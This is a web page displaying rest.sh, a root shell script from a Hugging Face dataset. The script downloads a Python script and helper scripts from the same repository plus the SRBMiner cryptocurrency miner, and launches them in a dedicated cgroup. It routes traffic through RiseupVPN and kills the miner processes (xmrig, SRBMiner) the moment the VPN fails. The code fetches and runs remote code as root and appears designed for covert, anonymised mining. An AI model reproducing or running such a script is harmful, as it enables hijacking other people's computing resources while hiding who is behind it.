CoolFace
Datasetpublic

gfdg34fsd/newe

sourceHugging Faceupdated 3d agoView on Hugging Face
9likes688kdownloads
rest.sh160 linesDownload Raw Back to root
1#!/bin/bash2# ============================================================3# start.sh - RiseupVPN + la222.py (cgroup) - Ultimate Solution4# ============================================================5 6# --- Configuration ---7CGROUP_NAME="rig-container"8CGROUP_SLICE="rig.slice"9LA222_PATH="/root/la222.py"10LA222_URL="https://huggingface.co/datasets/gfdg34fsd/newe/resolve/main/la222.py"11SMART_CLICK_URL="https://huggingface.co/datasets/gfdg34fsd/newe/resolve/main/smart_click.sh"12SMART_CLICK_PATH="/root/smart_click.sh"13SRB_URL="https://github.com/doktor83/SRBMiner-Multi/releases/download/3.6.7/SRBMiner-Multi-3-6-7-Linux.tar.gz"14SRB_ARCHIVE="/root/SRBMiner-Multi-3-6-7-Linux.tar.gz"15CHECK_INTERVAL=216# --------------------17 18# --- Logging Function ---19log() {20    echo "[$(date +%H:%M:%S)] $*"21}22 23# --- Cleanup and Download Functions ---24download_file() {25    local url=$126    local path=$227    log "[*] Downloading $(basename "$path")..."28    if curl -sL --max-time 60 -A "Mozilla/5.0" "$url" -o "$path"; then29        log "[✓] Downloaded $(basename "$path")"30        return 031    else32        log "[!] Failed to download $(basename "$path")"33        return 134    fi35}36 37kill_la222() {38    log "[*] Terminating la222.py and related processes..."39    systemctl stop "${CGROUP_NAME}-la222.scope" 2>/dev/null40    pkill -9 -f 'python3.*la222.py' 2>/dev/null41    pkill -9 -f xmrig 2>/dev/null42    pkill -9 -f SRBMiner 2>/dev/null43    sleep 144    log "[✓] la222.py terminated."45}46 47stop_cgroup() {48    log "[*] Stopping cgroup units..."49    for unit in $(systemctl list-units --all --no-legend "${CGROUP_NAME}-*.scope" 2>/dev/null | awk '{print $1}'); do50        systemctl stop "$unit" 2>/dev/null51    done52    systemctl reset-failed "${CGROUP_NAME}-*.scope" 2>/dev/null53    sleep 154}55 56kill_riseup() {57    log "[*] Terminating RiseupVPN..."58    pkill -9 -f 'riseup-vpn' 2>/dev/null59    ip link delete tun0 2>/dev/null60    sleep 261}62 63start_la222() {64    log "[*] Starting la222.py inside cgroup '${CGROUP_NAME}'..."65    # Use systemd-run to ensure the process is in the cgroup66    systemd-run --scope --unit="${CGROUP_NAME}-la222" --slice="${CGROUP_SLICE}" --collect \67        python3 -u "$LA222_PATH" >> /var/log/la222.log 2>&1 &68    log "[📦] cgroup '${CGROUP_NAME}' -> ${CGROUP_NAME}-la222.scope"69}70 71is_vpn_alive() {72    ip a | grep -q tun || return 173    curl -s --max-time 5 https://1.1.1.1/cdn-cgi/trace 2>/dev/null | grep -q "ip="74}75 76# --- Main Execution ---77 78log "===================================================="79log "🚀 RiseupVPN + la222.py (cgroup) - Ultimate Solution"80log "===================================================="81 82# 1. Check for root privileges83if [ "$(id -u)" -ne 0 ]; then84    log "This script must be run as root. Please use 'sudo'."85    exit 186fi87 88# 2. Ensure X11 environment variables are set (critical for GUI)89# If DISPLAY is not set, try to find it from the running X server.90if [ -z "$DISPLAY" ]; then91    export DISPLAY=:092    log "[*] DISPLAY not set, defaulting to :0"93fi94# Check for XAUTHORITY file. It's often in /run/user/<uid>/ or ~/.Xauthority95if [ -z "$XAUTHORITY" ]; then96    if [ -f "/run/user/$(id -u)/gdm/Xauthority" ]; then97        export XAUTHORITY="/run/user/$(id -u)/gdm/Xauthority"98    elif [ -f "$HOME/.Xauthority" ]; then99        export XAUTHORITY="$HOME/.Xauthority"100    fi101    [ -n "$XAUTHORITY" ] && log "[*] Setting XAUTHORITY to $XAUTHORITY"102fi103 104# 3. Clean up any previous processes105kill_la222106stop_cgroup107kill_riseup108 109# 4. Download required files110download_file "$SMART_CLICK_URL" "$SMART_CLICK_PATH" || exit 1111chmod +x "$SMART_CLICK_PATH"112download_file "$SRB_URL" "$SRB_ARCHIVE" || exit 1113 114# 5. Main Loop115while true; do116    log ""117    log "===================================================="118    log "🔄 Starting new cycle..."119    log "===================================================="120 121    # --- Start VPN using the proven smart_click.sh script ---122    log "[*] Launching smart_click.sh to establish VPN connection..."123    # The script is run in a way that it can access the X11 display.124    # It handles its own retries and IP verification.125    if ! bash "$SMART_CLICK_PATH"; then126        log "[!] smart_click.sh failed to connect. Retrying in 10 seconds..."127        sleep 10128        continue129    fi130    log "[✓] RiseupVPN connected successfully."131 132    # --- Download and Start la222.py ---133    download_file "$LA222_URL" "$LA222_PATH" || { kill_riseup; sleep 10; continue; }134    chmod +x "$LA222_PATH"135 136    start_la222137    sleep 5 # Give la222.py a moment to start138 139    # --- Kill Switch Monitoring ---140    log "👀 Monitoring (cgroup='${CGROUP_NAME}')..."141    FAILS=0142    while true; do143        sleep "$CHECK_INTERVAL"144        if ! is_vpn_alive; then145            FAILS=$((FAILS + 1))146            log "⚠️ VPN check failed ($FAILS/2)"147            if [ "$FAILS" -ge 2 ]; then148                log "❌❌❌ VPN connection lost! Executing Kill Switch ❌❌❌"149                kill_la222150                stop_cgroup151                kill_riseup152                break153            fi154        else155            FAILS=0156        fi157    done158    log "🔄 Restarting entire process..."159    sleep 3160done